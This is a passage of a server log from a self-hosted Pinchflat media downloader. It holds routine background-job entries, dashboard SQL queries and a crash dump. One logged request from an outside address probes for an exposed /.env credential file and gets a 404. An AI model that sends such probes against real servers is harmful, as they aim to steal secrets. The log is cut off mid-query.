{"source":"oban","duration":2177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.340 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:40:13.885 [info] GET /.env 23:40:13.887 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1432.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:40:13.887 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1433.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:40:13.888 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:40:13.889 [error] #PID<0.129080.0> running PinchflatWeb.Endpoint (connection #PID<0.129079.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.129079.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 59472}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip,br", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "69.163.177.221", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "69.163.177.221" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.129080.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip,br"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "69.163.177.221"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "69.163.177.221"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLV1IV8nD3laZj4ADLMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.129079.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 59472}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip,br", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "69.163.177.221", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "69.163.177.221" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.129079.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 59472}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip,br", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "69.163.177.221", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "69.163.177.221" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.129080.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip,br"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "69.163.177.221"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "69.163.177.221"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-cont (truncated) 23:40:26.648 [info] {"source":"oban","duration":1679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:56.651 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.341 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:41:26.655 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:56.658 [info] {"source":"oban","duration":2096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.343 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:42:26.661 [info] {"source":"oban","duration":1666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:56.664 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.343 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:43:26.667 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:56.670 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.345 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:44:26.673 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:56.676 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.347 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:45:26.679 [info] {"source":"oban","duration":2247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:56.682 [info] {"source":"oban","duration":1678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.349 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:46:26.685 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:56.687 [info] {"source":"oban","duration":1824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.351 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:47:26.688 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:56.690 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.352 [info] {"source":"oban","duration":157,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:48:26.690 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:56.693 [info] {"source":"oban","duration":1823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.354 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:49:26.694 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:56.696 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.356 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:50:26.697 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:56.698 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.358 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:51:26.699 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:56.700 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.360 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:52:26.701 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:56.703 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.361 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:53:26.703 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:56.705 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.362 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:54:26.706 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:56.707 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.363 [info] {"source":"oban","duration":202,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:55:26.708 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:56.709 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.364 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:56:26.710 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:56.711 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.366 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:57:26.712 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:56.713 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.368 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:58:26.714 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:56.716 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.370 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:59:26.717 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:56.718 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.371 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:00:26.720 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:56.721 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.373 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:01:26.721 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:56.723 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.374 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:02:26.725 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:56.726 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.375 [info] {"source":"oban","duration":111,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:03:26.727 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:56.728 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.377 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:04:26.730 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:56.732 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.379 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:05:26.734 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:56.735 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.381 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:06:26.736 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:56.737 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.383 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:07:26.738 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:56.740 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.385 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:08:26.742 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:56.744 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.385 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:09:26.746 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:56.748 [info] {"source":"oban","duration":2166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.386 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:10:26.750 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:56.752 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.388 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:11:26.754 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:56.756 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.390 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:12:26.758 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:56.760 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.392 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:13:26.763 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:56.765 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.394 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:14:26.766 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:56.768 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.395 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:15:26.770 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:56.772 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.397 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:16:26.774 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:56.776 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.399 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:17:26.778 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:56.780 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.401 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:18:26.782 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:56.784 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.403 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:19:26.787 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:56.790 [info] {"source":"oban","duration":1823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.404 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:20:26.792 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:55.090 [info] GET / 00:20:55.090 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 00:20:55.091 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=580.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:20:55.092 [debug] QUERY OK source="media_profiles" db=0.3ms idle=581.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 00:20:55.093 [debug] QUERY OK source="sources" db=0.3ms idle=582.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 00:20:55.097 [debug] QUERY OK source="media_items" db=3.6ms idle=582.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:20:55.098 [debug] QUERY OK source="media_items" db=0.5ms idle=236.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:20:55.098 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:20:55.098 [debug] QUERY OK source="settings" db=0.2ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:20:55.099 [debug] QUERY OK source="settings" db=0.2ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:20:55.100 [debug] QUERY OK source="tasks" db=0.1ms idle=2.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 00:20:55.101 [debug] QUERY OK source="media_items" db=0.4ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:20:55.101 [debug] QUERY OK source="media_items" db=0.3ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:20:55.102 [debug] QUERY OK source="sources" db=0.2ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [36, 31, 30] 00:20:55.106 [debug] QUERY OK source="media_items" db=2.8ms idle=4.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 00:20:55.108 [debug] QUERY OK source="media_items" db=1.8ms idle=6.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE 